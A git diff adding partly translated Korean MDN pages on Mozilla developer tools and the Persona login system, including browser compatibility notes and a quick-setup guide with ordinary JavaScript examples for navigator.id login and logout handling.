+      모질라 프로젝트의 여러 이슈들을 추적하는데 사용되는 버그질라 (<a class="internal" href="/en/Bugzilla" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/Bugzilla">Bugzilla</a>) 데이터베이스.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/">MXR</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      웹 상에서 모질라 소스 코드를 보거나 특정 코드를 찾는데 사용되는 프로그램.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi" title="http://bonsai.mozilla.org/cvsqueryform.cgi">Bonsai</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      본자이(<a class="internal" href="/en/Bonsai" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/Bonsai">Bonsai</a>)는 누군가 소스 코드 파일을 수정했을 때, 이를 누가 수정하였는지 알려주는 프로그램.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi" title="http://tinderbox.mozilla.org/showbuilds.cgi">Tinderbox</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      틴더박스(<a class="internal" href="/en/Tinderbox" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/Tinderbox">Tinderbox</a>)는 소스 코드 트리가 성공적으로 빌드 되었는지 아닌지를 보여줍니다. 여러분이 현재 올바르게 빌드된 소스 코드 트리를 가지고 작업하는지 알아보기 위해서는 소스 코드를 체크인하거나 체크아웃할 때 반드시 소스 코드 트리의 상태를 확인 하세요. </dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/en/Crash_reporting" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Crash reporting">Crash tracking</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      사코로(<a class="link-https" href="https://crash-reports.mozilla.com/reports" title="https://crash-reports.mozilla.com/reports">Socorro</a>)와 토크백(<a class="external" href="http://talkback-public.mozilla.org/search/start.jsp" title="http://talkback-public.mozilla.org/search/start.jsp">Talkback</a>) 충돌(crash) 보고 시스템에 관한 정보.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="external" href="http://graphs.mozilla.org/" title="http://graphs.mozilla.org/">Performance tracking</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      모질라 프로젝트의 성능(performance) 정보를 보세요.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="external" href="http://www.mozilla.org/community/developer-forums.html" title="http://www.mozilla.org/community/developer-forums.html">Developer forums</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      모질자 개발 이슈들에 대한 이야기를 할 수 있는 토론 포럼의 주제별 목록</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/mozilla/persona/bootstrapping_persona/index.html b/files/ko/mozilla/persona/bootstrapping_persona/index.html
new file mode 100644
index 0000000000..126b3d7a43
--- /dev/null
+++ b/files/ko/mozilla/persona/bootstrapping_persona/index.html
@@ -0,0 +1,29 @@
+---
+title: Persona Hosted Services
+slug: Mozilla/Persona/Bootstrapping_Persona
+translation_of: Archive/Mozilla/Persona/Bootstrapping_Persona
+---
+<p>To be truly successful and decentralized, Persona needs support from three different groups:</p>
+<ul>
+  <li><strong>Web Sites</strong> must let their users sign in with Persona.</li>
+  <li><strong>Web Browsers</strong> must implement the <a href="/en/DOM/navigator.id" title="navigator.id"><code>navigator.id</code></a> APIs.</li>
+  <li><strong>Email Providers</strong> must become Identity Providers (IdPs).</li>
+</ul>
+<p>This creates a chicken-and-egg problem: none of these groups would significantly benefit unless there was a critical mass of users, but a distributed system can't get a critical mass of users without support from the above groups.</p>
+<p>To solve this problem, <a class="link-https" href="https://login.persona.org" rel="freelink">https://login.persona.org</a> hosts three resources:</p>
+<ol>
+  <li>A fallback Identity Provider, which vouches for users whose email providers don't support Persona.</li>
+  <li>A <a href="/en-US/docs/persona/Browser_compatibility" title="/en-US/docs/persona/Browser_compatibility">cross-browser</a>, JavaScript implementation of the <code><a href="/en/DOM/navigator.id" title="navigator.id">navigator.id</a></code> APIs for browsers without native support.</li>
+  <li>A hosted verification API to make it easy for sites to verify user credentials.</li>
+</ol>
+<p>Together, this allows web sites to offer Persona to users regardless of browser and without email providers needing to get involved.</p>
+<p>These services are temporary, and the Persona system is designed such that they transparently and automatically drop away as native support gets added to browsers and email providers. Thus, they will become less relevant as Persona matures, and may eventually be removed all together. At that point, <a href="https://login.persona.org" rel="freelink">https://login.persona.org</a> won't feature at all in the Persona system.</p>
+<h2 id="Fallback_Identity_Provider">Fallback Identity Provider</h2>
+<p>Any domain can become an Identity Provider as long as relying parties are willing to trust the certificates issued by that domain. We expect email providers to act as an IdPs for the addresses they administer, making the user experience of Persona seamless for those users.  It allows the user to leverage their existing relationship with the email provider when authenticating at other sites.</p>
+<p>However, email providers won't become IdPs until there is significant demand from their users. In the meantime, Mozilla operates a fallback IdP at <a href="https://login.persona.org" rel="freelink">https://login.persona.org</a>. This fallback allows users to sign into sites with their existing email address, regardless of whether or not the email provider supports Persona. The fallback IdP will certify email addresses from any domain using its own authentication flow and its own password, so long as the user is able to prove control of an address by clicking a link in a verification email.</p>
+<p>Once an email provider supports Persona natively, its users will transparently begin use it instead of the fallback IdP.</p>
+<h2 id="Cross-browser_API_Library">Cross-browser API Library</h2>
+<p>For Persona to work, the user's browser must support the <a href="/en/DOM/navigator.id" title="navigator.id">navigator.id</a> API. Eventually, browsers will add native support for these APIs, but until then a <a href="/en-US/docs/persona/Browser_compatibility" title="/en-US/docs/persona/Browser_compatibility">cross-browser </a>implementation is available at <a href="https://login.persona.org/include.js" title="https://login.persona.org/include.js">https://login.persona.org/include.js</a>. By including this file, web sites can already begin using Persona. Once native implementations of the API are available, the library will automatically defer to those.</p>
+<h2 id="Remote_verification_service">Remote verification service</h2>
+<p>At <a href="https://login.persona.org" rel="freelink">https://login.persona.org</a> Mozilla hosts a <a href="/en/Persona/Remote_Verification_API" title="en/BrowserID/Remote_Verification_API">remote verification service</a> that web sites can use to verify identity assertions sent from users. This makes it simpler for web sites to support Persona as it takes care of parsing the assertion and cryptographically verifying user identities.</p>
+<p>Once the Persona data formats stabilize, verification will most likely be done locally on each site's server. This transition is especially important for user privacy, since it will make it impossible for the fallback IdP to track its users. Even with remote verification, users of native IdPs can't be tracked by that IdP.</p>
diff --git a/files/ko/mozilla/persona/browser_compatibility/index.html b/files/ko/mozilla/persona/browser_compatibility/index.html
new file mode 100644
index 0000000000..b11f987e57
--- /dev/null
+++ b/files/ko/mozilla/persona/browser_compatibility/index.html
@@ -0,0 +1,86 @@
+---
+title: Browser compatibility
+slug: Mozilla/Persona/Browser_compatibility
+translation_of: Archive/Mozilla/Persona/Browser_compatibility
+---
+<h2 id="Supported_Browsers">Supported Browsers</h2>
+<p>Persona is developed, tested, and supported with the following browsers. Thanks to Persona's cross-platform JavaScript library, users do not need add-ons in order to use Persona.</p>
+<table>
+  <tbody>
+    <tr>
+      <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>Desktop Browsers</strong></th>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Internet Explorer</strong></th>
+      <td colspan="2" rowspan="1" style="background-color: #8ae234;">8.0<sup>*</sup>, 9.0<sup>†</sup>, 10.0<sup>*</sup><sup>*</sup> (but see <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22" title="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22">Compatibility Mode</a> below)</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Firefox</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Current Stable, Beta, Aurora, Nightly, and Extended Support Releases<br>
+        Previous Stable Release</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Chrome</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Latest Stable Release</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Safari</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Latest Stable Release</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Opera</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Latest Stable Release<sup>‡</sup></td>
+    </tr>
+    <tr>
+      <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>iOS Browsers</strong></th>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Mobile Safari</strong></th>
+      <td colspan="2" rowspan="1" style="background-color: #8ae234;">iOS 5.x — 6.x</td>
+    </tr>
+    <tr>
+      <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>Android Browsers</strong></th>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Default Browser</strong></th>
+      <td colspan="2" rowspan="1" style="background-color: #8ae234;">2.2 — 4.x</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Firefox</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Current Stable, Beta, Aurora, and Nightly Releases<br>
+        Previous Stable Release</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Chrome</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Latest Stable Release</td>
+    </tr>
+  </tbody>
+</table>
+<p><sup>*</sup>: For Windows XP. <sup>†</sup>: For Windows Vista and Windows 7. <sup>*</sup><sup>*</sup>Windows 8.<sup>  </sup><sup>‡</sup>: As time allows.</p>
+<h2 id="Unsupported_Browsers">Unsupported Browsers</h2>
+<ul>
+  <li>Internet Explorer versions 6.0 and 7.0 are not supported. Users will be prompted to upgrade their browser. Also see the section below on <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22" title="https://developer.mozilla.org/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22">IE "Compatibility Mode"</a>.</li>
+  <li>Google Chrome Frame is not supported and will not function. Support may be added later (<a href="https://github.com/mozilla/browserid/issues/796" title="https://github.com/mozilla/browserid/issues/796">Issue #796</a>).</li>
+  <li>Third party browsers on iOS are not supported and will not function. Support may be added later (<a href="https://github.com/mozilla/browserid/issues/2034" title="https://github.com/mozilla/browserid/issues/2034">Issue #2034</a>).</li>
+</ul>
+<h2 id="Internet_Explorer_Compatibility_Mode">Internet Explorer "Compatibility Mode"</h2>
+<p>From version 8.0 onwards Internet Explorer supports a feature called Compatibility Mode, in which the browser may be instructed to emulate a pre-8.0 version when rendering a page. This feature may be controlled in three different ways</p>
+<ol>
+  <li>as a local setting in the browser</li>
+  <li>based on the presence and value of the <a href="https://developer.mozilla.org/docs/Quirks_Mode_and_Standards_Mode" title="https://developer.mozilla.org/docs/Quirks_Mode_and_Standards_Mode">DOCTYPE</a> declaration in the page</li>
+  <li>as an instruction sent from the site, using the <a href="http://msdn.microsoft.com/library/cc288325%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/library/cc288325%28v=vs.85%29.aspx">"X-UA-Compatible"</a> header either as an HTTP header or as a <a href="https://developer.mozilla.org/docs/HTML/Element/meta" title="https://developer.mozilla.org/docs/HTML/Element/meta"><code>&lt;meta&gt;</code></a> tag in the page. This method overrides the other two.</li>
+</ol>
+<p>Because versions of Internet Explorer earlier than 8.0 are not supported by Persona, any version of Internet Explorer which is configured to emulate a pre-8.0 version will also not function with Persona. This is typically for one of the following reasons:</p>
+<ul>
+  <li>your site is using "X-UA-Compatible" to explicitly instruct the browser to emulate a pre-8.0 version</li>
+  <li>your site's pages omit the DOCTYPE, do not have the DOCTYPE as the first line of the page, or set the browser to quirks mode, and your site is not setting "X-UA-Compatible" to IE version 8.0 or higher</li>
+  <li>the browser is locally configured to use a pre-8.0 Compatibility Mode, and your site is not overriding this by setting "X-UA-Compatible" to IE version 8.0 or higher</li>
+</ul>
+<p>For more information, see <a href="https://blogs.msdn.com/b/askie/archive/2009/03/23/understanding-compatibility-modes-in-internet-explorer-8.aspx?Redirected=true" title="https://blogs.msdn.com/b/askie/archive/2009/03/23/understanding-compatibility-modes-in-internet-explorer-8.aspx?Redirected=true">"Understanding Compatibility Modes in Internet Explorer 8"</a> and <a href="http://hsivonen.iki.fi/doctype/index.html#ie8" title="http://hsivonen.iki.fi/doctype/index.html#ie8">"IE8 and IE9 Complications"</a>.</p>
+<h2 id="Other_Browsers">Other Browsers</h2>
+<p>Despite not being explicitly supported, any browser that includes both {{ domxref("window.postMessage()") }} and {{ domxref("Storage", "localStorage") }} should work. These APIs have been available in all major browsers since March 2010.</p>
+<h2 id="Known_Issues">Known Issues</h2>
+<ul>
+  <li>Browsers must accept third party cookies for full functionality (<a href="https://github.com/mozilla/browserid/issues/1352" title="https://github.com/mozilla/browserid/issues/1352">Issue #1352</a>).</li>
+  <li>Android 2.x users without a default browser selected may be unable to log in (<a href="https://github.com/mozilla/browserid/issues/1854" title="https://github.com/mozilla/browserid/issues/1854">Issue #1854</a>).</li>
+</ul>
diff --git a/files/ko/mozilla/persona/index.html b/files/ko/mozilla/persona/index.html
new file mode 100644
index 0000000000..5b48646237
--- /dev/null
+++ b/files/ko/mozilla/persona/index.html
@@ -0,0 +1,137 @@
+---
+title: Persona
+slug: Mozilla/Persona
+tags:
+  - Persona
+translation_of: Archive/Mozilla/Persona
+---
+<div class="callout-box">
+<p><strong>연락 및 도움을 얻고 싶다면!</strong></p>
+
+<p><a class="external" href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">블로그</a>를 확인하거나, <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">메일링 리스트</a>에 가입하거나, <a class="link-https" href="https://wiki.mozilla.org/IRC" title="https://wiki.mozilla.org/IRC">IRC</a>에서 <a class="link-irc" href="irc://irc.mozilla.org/identity" title="irc://irc.mozilla.org/identity"><u><font color="#0066cc">#identity</font></u></a>를 찾아보세요.</p>
+</div>
+
+<p><a class="link-https" href="https://www.mozilla.org/en-US/persona/" title="https://www.mozilla.org/en-US/persona/">Mozilla Persona</a>는 웹을 위한 크로스-브라우저 로그인 시스템으로, 쉽고 알맞은 사용이 가능합니다. Persona는 <a href="https://developer.mozilla.org/ko/docs/persona/Browser_compatibility">모든 주요 브라우저</a>에서 작동하며, <a href="https://developer.mozilla.org/ko/docs/Persona/Quick_Setup">오늘 당장 시작할 수 있습니다.</a></p>
+
+<p>왜 우리와 우리의 사이트가 Persona를 사용해야 합니까?</p>
+
+<ol>
+ <li><strong>Persona는 사이트별 암호에 대한 </strong>사용자의 생성, 관리, 안전하게 관리하는 부담을 사용자와 웹사이트로부터<strong> 완전히 제거합니다.</strong></li>
+ <li><strong>Persona는 사용이 간편합니다.</strong> 두 번의 클릭 만으로도 Persona 사용자는 <a href="http://voo.st" title="http://voo.st">Voost</a>나 <a href="http://crossword.thetimes.co.uk/" title="http://crossword.thetimes.co.uk/">The Times Crossword</a>와 같은 사이트에 새로운 계정을 생성하지 않고도 로그인할 수 있습니다.</li>
+ <li><strong>Persona는 쉽게 구현할 수 있습니다</strong><strong>.</strong> 개발자는 반나절만에 Persona를 사이트에 추가할 수 있습니다.</li>
+ <li>무엇보다도, <strong>변경 불가능이 없습니다</strong>. 개발자는 모든 사용자의 확인 된 E-Mail 주소를 받고, 사용자는 Persona에 어떠한 E-Mail 주소도 사용할 수 있습니다.</li>
+</ol>
+
+<p>여기에 더해, Persona는 점점 나아지고 있습니다: Persona는 공개된 분산프로트콜로 제작되었으며, 직접 브라우저와 통합할 수 있으며 이메일 제공자가 네이티브 지원을 할 수 있도록 합니다. Persona를 사용한 사이트들은 오늘날 코드를 전혀 바꾸지 않아도 자동적으로 UX가 개선됩니다.</p>
+
+<p>시작하기 위해 읽어보세요!</p>
+
+<div class="note"><strong>노트:</strong> Persona는 개발 중입니다. <a class="external" href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">블로그</a>로부터 새로운 기능에 대해 알아보거나, <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">메일링 리스트</a>에 가입하여 여러분의 의견을 피드백 해주세요!</div>
+
+<h2 id="사이트에서_Persona_사용하기">사이트에서 Persona 사용하기</h2>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h3 id="시작하기">시작하기</h3>
+
+    <dl>
+     <dt><a href="/ko/docs/Persona/Why_Persona" title="ko/Persona/Why_Persona">왜 Persona를 사용해야 합니까?</a></dt>
+     <dd>여러분의 사이트에 Persona를 지원해야 하는지, 그리고 어떻게 다른 ID와 인증 시스템이 다른지 비교해보십시오.</dd>
+     <dt><a href="/en/Persona/Quick_Setup" title="BrowserID/Quick setup">빠른 설치</a></dt>
+     <dd>여러분의 웹 사이트에 Persona를 빠르게 추가하는 방법을 알아보세요.</dd>
+    </dl>
+   </td>
+   <td>
+    <h3 id="Persona_API_레퍼런스">Persona API 레퍼런스</h3>
+
+    <p><a href="/en/DOM/navigator.id" title="navigator.id">navigator.id API 레퍼런스</a></p>
+
+    <dl>
+     <dd>웹 개발자가 Persona를 사이트에 추가할 수 있는 <code>navigator.id</code> 객체를 위한 레퍼런스입니다.</dd>
+     <dt><a href="/en/Persona/Remote_Verification_API" title="en/BrowserID/Remote_Verification_API">인증 API 레퍼런스</a></dt>
+     <dd>원격 인증 API에 대한 레퍼런스를 아래 링크에서 제공하고 있습니다.</dd>
+     <dd><code><a href="https://verifier.login.persona.org/verify">https://verifier.login.persona.org/verify</a></code></dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <h3 id="가이드">가이드</h3>
+
+    <dl>
+     <dt><a href="/en/Persona/Security_Considerations" title="BrowserID/Security considerations">보안 고려 사항</a></dt>
+     <dd>따라하기와 기술은 여러분의 Persona 개발을 안전하게 만듭니다.</dd>
+     <dt><a href="/en/Persona/Browser_compatibility" title="/Browser_compatibility">브라우저 호환성</a></dt>
+     <dd>브라우저의 Persona 지원에 대해 자세히 알아보세요.</dd>
+     <dt><a href="/en/Persona/Internationalization" title="/Internationalization">국제화</a></dt>
+     <dd>다른 언어에서는 어떻게 Persona를 관리하는지 알아보세요.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Persona/The_implementor_s_guide">운영자 가이드</a></dt>
+     <dd>Persona에 도움을 보탠 사이트에서 제공하는 팁을 알아보세요.</dd>
+    </dl>
+   </td>
+   <td>
+    <h3 id="리소스">리소스</h3>
+
+    <dl>
+     <dt><a class="link-https" href="https://github.com/mozilla/browserid/wiki/Persona-Libraries" title="https://github.com/mozilla/browserid/wiki/BrowserID-Libraries">라이브러리와 플러그인</a></dt>
+     <dd>당신이 가장 선호하는 프로그래밍 언어, 웹 프레임워크, 블로그 또는 컨텐츠 관리 시스템(CMS)의 드롭인 라이브러리를 찾아보세요.</dd>
+     <dt><a class="link-https" href="https://github.com/mozilla/browserid-cookbook" title="https://github.com/mozilla/browserid-cookbook">Persona 설명서</a></dt>
+     <dd>Persona 사이트를 위한 예제 소스 코드입니다. C# (MVC3), PHP, Node.JS와 그 외에 대한 미리보기를 포함합니다.</dd>
+     <dt> </dt>
+     <dt><a href="https://developer.mozilla.org/ko/Persona/User_interface_guidelines">UI 가이드라인</a></dt>
+     <dd>사이트 이용자들에게 어떻게 Persona 로그인 시스템을 선사할 수 있는 지 담겨있습니다.</dd>
+     <dd> </dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 id="ID_제공에_대한_정보">ID 제공에 대한 정보</h2>
+
+    <p>만약 여러분이 E-Mail 제공 업체 또는 다른 ID 제공 서비스라면 Persona ID 제공자에 대해 링크를 통해 익혀보세요.</p>
+
+    <dl>
+     <dt><a href="/en-US/docs/Persona/Identity_Provider_Overview" title="IdP">IdP 개요</a></dt>
+     <dd>Persona ID 제공자의 고수준 보기.</dd>
+     <dt><a href="/en/Persona/Implementing_a_Persona_IdP" title="Guide to Implementing a Persona IdP">IdP 구현</a></dt>
+     <dd>IdP에 대해 기술적으로 세세한 가이드입니다.</dd>
+     <dt><a href="/en-US/Persona/IdP_Development_tips" title="Developer tips">개발 팁</a></dt>
+     <dd>A set of tips and tricks useful while developing a new Identity Provider.</dd>
+     <dt><a href="/en-US/docs/Persona/.well-known-browserid" title="https://developer.mozilla.org/en-US/docs/Persona/.well-known-browserid">.well-known/browserid</a></dt>
+     <dd>IdP가 광고를 사용할 경우 프로토콜에 대한 지원과 <code>.well-known/browserid</code> 파일에 대한 목적과 구조에 대한 개요입니다.</dd>
+    </dl>
+   </td>
+   <td>
+    <h2 id="Persona_프로젝트">Persona 프로젝트</h2>
+
+    <dl>
+     <dt><a href="/en/Persona/Glossary" title="navigator.id">어휘</a></dt>
+     <dd>BrowserID와 Persona의 용어 정의입니다.</dd>
+     <dt><a href="/en/Persona/FAQ" title="en/BrowserID/FAQ">FAQ</a></dt>
+     <dd>일반적인 질문에 대한 답변입니다.</dd>
+     <dt><a href="/en/Persona/Protocol_Overview" title="BrowserID/Protocol overview">프로토콜 개요</a></dt>
+     <dd>기본적인 BrowserID 프로토콜의 중간 수준 기술 개요입니다.</dd>
+     <dt><a href="/en/persona/Crypto" title="MDN">암호화</a></dt>
+     <dd>Persona와 BrowserID에 대한 암호화 개념을 살펴봅니다.</dd>
+     <dt><a class="link-https" href="https://github.com/mozilla/id-specs/blob/master/browserid/index.md" title="https://github.com/mozilla/id-specs/blob/master/browserid/index.md">명세</a></dt>
+     <dd>세부적인 기술은 여기에 있습니다.</dd>
+     <dt><a href="/Persona/Bootstrapping_Persona" title="en/BrowserID/Bootstrapping_BrowserID">Persona 웹 사이트</a></dt>
+     <dd>To get Persona going, we're hosting three services at <a class="link-https" href="https://login.persona.org" rel="freelink">https://login.persona.org</a>: a fallback Identity Provider, a portable implementation of the {{ domxref("navigator.id") }} APIs, and an identity assertion verification service.</dd>
+     <dt><a href="https://github.com/mozilla/browserid">Persona</a> 소스코드</dt>
+     <dd>Persona의 소스코드를 GitHub에서 찾으실 수 있습니다!</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/ko/mozilla/persona/quick_setup/index.html b/files/ko/mozilla/persona/quick_setup/index.html
new file mode 100644
index 0000000000..d39d67820f
--- /dev/null
+++ b/files/ko/mozilla/persona/quick_setup/index.html
@@ -0,0 +1,248 @@
+---
+title: 빠른 시작
+slug: Mozilla/Persona/Quick_Setup
+translation_of: Archive/Mozilla/Persona/Quick_Setup
+---
+<p>5가지 단계를 통해 Persona 로그인 시스템을 여러분의 사이트에 추가할 수 있습니다.:</p>
+
+<ol>
+ <li>페이지에 Persona 자바스크립트 라이브러리를 포함시킵니다.</li>
+ <li>"로그인", "로그아웃"버튼을 추가합니다</li>
+ <li>Watch for login and logout actions.</li>
+ <li>이용자의 신원을 검증합니다.</li>
+ <li>가장 잘 된 연습을 다시 재연합니다..</li>
+</ol>
+
+<p>여러분은 시작한 지 반나절 만에 작동하도록 할 수 있을 것이지만, 먼저 해야 할 것이 있습니다: 만약 여러분이 Persona를 여러분의 사이트에 사용하고자 한다면, 조금 기다린 후 <a href="https://mail.mozilla.org/listinfo/persona-notices">Persona notices</a> 메일링 리스트에 가입해주세요. It’s extremely low traffic, only being used to announce changes or security issues which might adversely impact your site.</p>
+
+<h2 id="1단계_Persona_라이브러리_추가하기">1단계: Persona 라이브러리 추가하기</h2>
+
+<p>Persona는 어느 브라우저에서나 작동되도록 설계되었으며 <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility">모든 주요 웹브라우저들과 모바일 브라우저</a>에서 작동합니다.</p>
+
+<p>In the future we expect browsers to provide native support for Persona, but in the meantime we provide a JavaScript library that fully implements the user interface and client-side part of the protocol. By including this library, your users will be able to sign in with Persona whether or not their browser has native support.</p>
+
+<p>Once this library is loaded in your page, the Persona functions you need ({{ domxref("navigator.id.watch()", "watch()") }}, {{ domxref("navigator.id.request()", "request()") }}, and {{ domxref("navigator.id.logout()", "logout()") }}) will be available in the global <code>navigator.id</code> object.</p>
+
+<p>To include the Persona JavaScript library, place this <code>script</code> tag at the bottom of the page body:</p>
+
+<pre class="brush: html;">&lt;script src="https://login.persona.org/include.js"&gt;&lt;/script&gt;
+</pre>
+
+<p>You <strong>must</strong> include this on every page which uses {{ domxref("navigator.id") }} functions. Because Persona is still in development, you should not self-host the <code>include.js</code> file.</p>
+
+<h3 id="Suppressing_Compatibility_Mode">Suppressing Compatibility Mode</h3>
+
+<p>You should also make sure users of Internet Explorer can't use Compatibility Mode, as this will break Persona. To do this:</p>
+
+<ul>
+ <li>either include <code>&lt;meta http-equiv="X-UA-Compatible" content="IE=Edge"&gt;</code> on your page, before any script elements</li>
+ <li>or set the following HTTP header on your page: <code>X-UA-Compatible: IE=Edge</code>.</li>
+</ul>
+
+<p>For more information, see the notes in <a href="/en-US/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22" title="/en-US/docs/persona/Browser_compatibility#Internet_Explorer_.22Compatibility_Mode.22">IE Compatibility Mode</a> and <a href="http://hsivonen.iki.fi/doctype/index.html#ie8" title="http://hsivonen.iki.fi/doctype/index.html#ie8">"IE8 and IE9 Complications"</a>.</p>
+
+<h2 id="Step_2_Add_login_and_logout_buttons">Step 2: Add login and logout buttons</h2>
+
+<p>Because Persona is designed as a DOM API, you must call functions when a user clicks a login or logout button on your site. To open the Persona dialog and prompt the user to log in, you should invoke {{ domxref("navigator.id.request()") }}. For logout, invoke {{ domxref("navigator.id.logout()") }}. Note, the call to {{ domxref("navigator.id.logout()", "logout()") }} <em>must</em> be made in the click handler of the logout button.</p>
+
+<p>For example:</p>
+
+<pre class="brush: js;">var signinLink = document.getElementById('signin');
+if (signinLink) {
+  signinLink.onclick = function() { navigator.id.request(); };
+}
+
+var signoutLink = document.getElementById('signout');
+if (signoutLink) {
+  signoutLink.onclick = function() { navigator.id.logout(); };
+}
+</pre>
+
+<p>What should those buttons look like? Check out our <a href="https://developer.mozilla.org/docs/persona/branding">Branding Resources</a> page for premade images and CSS-based buttons!</p>
+
+<h2 id="Step_3_Watch_for_login_and_logout_actions">Step 3: Watch for login and logout actions</h2>
+
+<p>For Persona to function, it must be told what to do when a user logs in or out. This is done by calling the {{ domxref("navigator.id.watch()") }} function and supplying three parameters:</p>
+
+<ol>
+ <li>
+  <p>The email address of the user currently logged into your site from this computer, or <code>null</code> if no one is logged in. For example, you might examine the browser's cookies to determine who is signed in.</p>
+ </li>
+ <li>
+  <p>A function to invoke when an <code>onlogin</code> action is triggered. This function is passed a single parameter, an “identity assertion,” which must be verified.</p>
+ </li>
+ <li>
+  <p>A function to invoke when an <code>onlogout</code> action is triggered. This function is not passed any parameters.</p>
+ </li>
+</ol>
+
+<div class="note style-wrap">
+<p><strong>Note:</strong> You must always include both <code>onlogin</code> and <code>onlogout</code> when you call {{ domxref("navigator.id.watch()") }}.</p>
+</div>
+
+<p>For example, if you currently think Bob is logged into your site, you might do this:</p>
+
+<pre class="brush: js;">var currentUser = 'bob@example.com';
+
+navigator.id.watch({
+  loggedInUser: currentUser,
+  onlogin: function(assertion) {
+    // A user has logged in! Here you need to:
+    // 1. Send the assertion to your backend for verification and to create a session.
+    // 2. Update your UI.
+    $.ajax({ /* &lt;-- This example uses jQuery, but you can use whatever you'd like */
+      type: 'POST',
+      url: '/auth/login', // This is a URL on your website.
+      data: {assertion: assertion},
+      success: function(res, status, xhr) { window.location.reload(); },
+      error: function(xhr, status, err) {
+        navigator.id.logout();
+        alert("Login failure: " + err);
+      }
+    });
+  },
+  onlogout: function() {
+    // A user has logged out! Here you need to:
+    // Tear down the user's session by redirecting the user or making a call to your backend.
+    // Also, make sure loggedInUser will get set to null on the next page load.
+    // (That's a literal JavaScript null. Not false, 0, or undefined. null.)
+    $.ajax({
+      type: 'POST',
+      url: '/auth/logout', // This is a URL on your website.
+      success: function(res, status, xhr) { window.location.reload(); },
+      error: function(xhr, status, err) { alert("Logout failure: " + err); }
+    });
+  }
+});
+</pre>
+
+<p>In this example, both <code>onlogin</code> and <code>onlogout</code> are implemented by making an asynchronous <code>POST</code> request to your site’s backend. The backend then logs the user in or out, usually by setting or deleting information in a session cookie. Then, if everything checks out, the page reloads to take into account the new login state.</p>
+
